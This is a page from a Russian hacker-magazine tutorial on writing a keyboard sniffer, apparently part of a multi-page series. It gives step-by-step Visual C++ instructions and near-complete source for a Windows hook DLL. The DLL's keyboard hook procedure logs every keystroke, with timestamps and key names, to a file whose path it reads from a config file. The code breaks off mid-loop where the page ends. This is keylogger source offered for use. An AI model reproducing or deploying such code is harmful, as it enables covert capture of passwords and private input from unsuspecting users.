Высший пилотаж - пишем клавиатурный shiffer

Спецвыпуск Хакер, номер #004, стр. 004-074-4

ON_MESSAGE(XWM_NOTIFYICON, OnNotifyIcon)

Теперь EXE'ник полностью готов. Осталось только изменить About Box и перерисовать стандартную иконку. Для первого надо во вкладке Resource, окно проекта в ветке Dialog дважды щелкнуть элемент IDD_ABOUTBOX. В появившемся окне можно добавить текст со своим именем и копирайтом. Эта часть работы для самых скромных.

Компиль прогу (F7) и переходи к следующей части.

Часть пятая, или делаем DLL-часть проги

Чтобы сварганить DLL'ник, надо создать новый проект. В File->New надо выбрать вкладку Projects и тип проекта Win32 Dynamic-Link Library (10.jpg). Далее назвать проект "Hook", так как предполагается, что на выходе будет файл hook.dll. Нажимай OK и в окне визарда выбери A simple DLL project (11.jpg). Когда проект сгенерится, понадобится изменить файлы hook.cpp и stdafx.h. Вот как они должны выглядеть.

Stdafx.h:

// stdafx.h : include file for standard system include files,

// or project specific include files that are used frequently, but

//are changed infrequently

//

#if !defined(AFX_STDAFX_H__38CA5891_6485_11D4_B8C5_F43705C10A00__INCLUDED_)

#define AFX_STDAFX_H__38CA5891_6485_11D4_B8C5_F43705C10A00__INCLUDED_

#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

// Insert your headers here

#define WIN32_LEAN_AND_MEAN// Exclude rarely-used stuff from Windows headers

#include <windows.h>

#include <cstdio>// Эти три

#include <cstring> //строки надо

#include <ctime>//добавить!

// TODO: reference additional headers your program requires here

//{{AFX_INSERT_LOCATION}}

// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

#endif // !defined(AFX_STDAFX_H__38CA5891_6485_11D4_B8C5_F43705C10A00__INCLUDED_)

Hook.cpp:

// hook.cpp : Defines the entry point for the DLL application.

//

#include "stdafx.h"

HANDLE g_hMod;

TCHAR szLogName[256];

FILE* pFile;

HHOOK hhookKbd;

BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )

{

g_hMod = hModule;

return TRUE;

}

extern "C" {

__declspec(dllexport) void Release();

__declspec(dllexport) LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam);

__declspec(dllexport) void Init(LPCTSTR szFile);

};

void Release()

{

UnhookWindowsHookEx(hhookKbd);

}

LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam)

{

if (nCode == HC_ACTION && !(lParam & 0x80000000))

{

if (!(*szLogName))

{

LPTSTR lpszPath = new TCHAR[256];

GetModuleFileName((HINSTANCE) g_hMod, lpszPath, 256);

strcpy(strrchr(lpszPath, '\\') + 1, "logpath.txt");

FILE* pf = fopen(lpszPath, "r");

fscanf(pf, "%s", szLogName);

fclose(pf);

delete[] lpszPath;

}

pFile = fopen(szLogName, "a+");

time_t timer;

time(&timer);

char* p = ctime(&timer);

p[strlen(p) - 1] = 0;

TCHAR szKeyName[20];

GetKeyNameText(lParam, szKeyName, 19);

for (int i = 0; i < (lParam & 0x0000FFFF); i++)

Назад на стр. 004-074-3  Содержание  Вперед на стр. 004-074-5

загрузка...
Cпец Хакер #075Cпец Хакер #074Cпец Хакер #073Cпец Хакер #072Cпец Хакер #071Cпец Хакер #070Cпец Хакер #069Cпец Хакер #068Cпец Хакер #067Cпец Хакер #066Cпец Хакер #065Cпец Хакер #064Cпец Хакер #063Cпец Хакер #062Cпец Хакер #061Cпец Хакер #060Cпец Хакер #059Cпец Хакер #058Cпец Хакер #057Cпец Хакер #056Cпец Хакер #055Cпец Хакер #054Cпец Хакер #053Cпец Хакер #052Cпец Хакер #051Cпец Хакер #050Cпец Хакер #049Cпец Хакер #048Cпец Хакер #047Cпец Хакер #046Cпец Хакер #045Cпец Хакер #044Cпец Хакер #043Cпец Хакер #042Cпец Хакер #041Cпец Хакер #040Cпец Хакер #039Cпец Хакер #038Cпец Хакер #037Cпец Хакер #036Cпец Хакер #035Cпец Хакер #034Cпец Хакер #033Cпец Хакер #032Cпец Хакер #031Cпец Хакер #030Cпец Хакер #029Cпец Хакер #028Cпец Хакер #027Cпец Хакер #026Cпец Хакер #025Cпец Хакер #024Cпец Хакер #023Cпец Хакер #022Cпец Хакер #021Cпец Хакер #020Cпец Хакер #019Cпец Хакер #018Cпец Хакер #017Cпец Хакер #016Cпец Хакер #015Cпец Хакер #014Cпец Хакер #013Cпец Хакер #012Cпец Хакер #011Cпец Хакер #010Cпец Хакер #009Cпец Хакер #008Cпец Хакер #007Cпец Хакер #006Cпец Хакер #005Cпец Хакер #004Cпец Хакер #003Cпец Хакер #002Cпец Хакер #001